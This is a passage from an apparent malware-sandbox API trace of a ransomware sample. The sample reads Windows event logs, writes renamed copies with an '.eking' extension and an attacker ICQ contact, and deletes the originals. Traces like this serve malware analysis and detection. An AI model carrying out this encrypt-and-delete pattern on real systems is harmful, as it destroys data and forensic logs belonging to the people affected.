hTemplateFile=0x0) returned 0x370 [0225.835] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0225.835] CloseHandle (hObject=0x370) returned 1 [0225.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0225.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20 [0225.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0225.835] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0225.835] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.836] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0225.836] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0225.836] ReadFile (in: hFile=0x370, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0226.036] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0226.039] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x122, lpOverlapped=0x0) returned 1 [0226.039] CloseHandle (hObject=0x370) returned 1 [0226.039] CloseHandle (hObject=0x358) returned 1 [0226.042] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1 [0226.044] SetEvent (hEvent=0x2b8) returned 1 [0226.045] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0226.046] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0226.046] CloseHandle (hObject=0x358) returned 1 [0226.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0226.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 0x20 [0226.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0226.046] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0226.047] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0226.047] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0226.047] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x370 [0226.047] ReadFile (in: hFile=0x358, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0226.060] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0226.063] WriteFile (in: hFile=0x370, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0226.063] CloseHandle (hObject=0x358) returned 1 [0226.063] CloseHandle (hObject=0x370) returned 1 [0226.066] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4operational.evtx")) returned 1 [0226.068] SetEvent (hEvent=0x2b8) returned 1 [0226.068] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0226.069] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0226.069] CloseHandle (hObject=0x370) returned 1 [0226.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0226.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 0x20 [0226.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0226.069] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0226.069] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0226.070] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0226.070] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x358 [0226.070] ReadFile (in: hFile=0x370, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0226.074] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0226.077] WriteFile (in: hFile=0x358, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x122, lpOverlapped=0x0) returned 1 [0226.077] CloseHandle (hObject=0x370) returned 1 [0226.077] CloseHandle (hObject=0x358) returned 1 [0226.216] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-ntfs%4whc.evtx")) returned 1 [0226.238] SetEvent (hEvent=0x2b8) returned 1 [0226.238] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0226.239] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0226.239] CloseHandle (hObject=0x380) returned 1 [0226.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0226.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0226.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0226.239] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0226.240] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0226.240] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0226.240] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0226.240] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0226.244] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0226.247] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x162, lpOverlapped=0x0) returned 1 [0226.247] CloseHandle (hObject=0x380) returned 1 [0226.247] CloseHandle (hObject=0x368) returned 1 [0226.252] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1 [0226.254] SetEvent (hEvent=0x2b8) returned 1 [0226.254] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0226.255] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=1052672) returned 1 [0226.255] CloseHandle (hObject=0x368) returned 1 [0226.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0226.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0226.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0226.256] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0226.256] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0226.256] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0226.256] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0226.256] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x101000, lpOverlapped=0x0) returned 1 [0226.445] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x101010, lpOverlapped=0x0) returned 1 [0226.621] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0226.621] CloseHandle (hObject=0x368) returned 1 [0226.621] CloseHandle (hObject=0x380) returned 1 [0226.672] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1 [0226.674] SetEvent (hEvent=0x2b8) returned 1 [0226.915] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0226.946] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0226.946] CloseHandle (hObject=0x378) returned 1 [0226.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0226.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 0x20 [0226.947] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0226.948] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0226.948] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0226.948] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0226.948] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x348 [0226.973] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0226.994] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0226.997] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0226.997] CloseHandle (hObject=0x368) returned 1 [0226.997] CloseHandle (hObject=0x348) returned 1 [0227.000] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4operational.evtx")) returned 1 [0227.002] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0227.003] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0227.003] CloseHandle (hObject=0x348) returned 1 [0227.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0227.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0227.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.004] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0227.004] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0227.004] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0227.004] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x368 [0227.004] ReadFile (in: hFile=0x348, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0227.027] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0227.030] WriteFile (in: hFile=0x368, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x132, lpOverlapped=0x0) returned 1 [0227.030] CloseHandle (hObject=0x348) returned 1 [0227.030] CloseHandle (hObject=0x368) returned 1 [0227.036] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1 [0227.038] SetEvent (hEvent=0x2b8) returned 1 [0227.038] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0227.039] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=69632) returned 1 [0227.039] CloseHandle (hObject=0x368) returned 1 [0227.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0227.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0227.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0227.039] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0227.039] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0227.040] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0227.040] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x348 [0227.040] ReadFile (in: hFile=0x368, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x11000, lpOverlapped=0x0) returned 1 [0227.049] WriteFile (in: hFile=0x348, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x11010, lpOverlapped=0x0) returned 1 [0227.113] WriteFile (in: hFile=0x348, 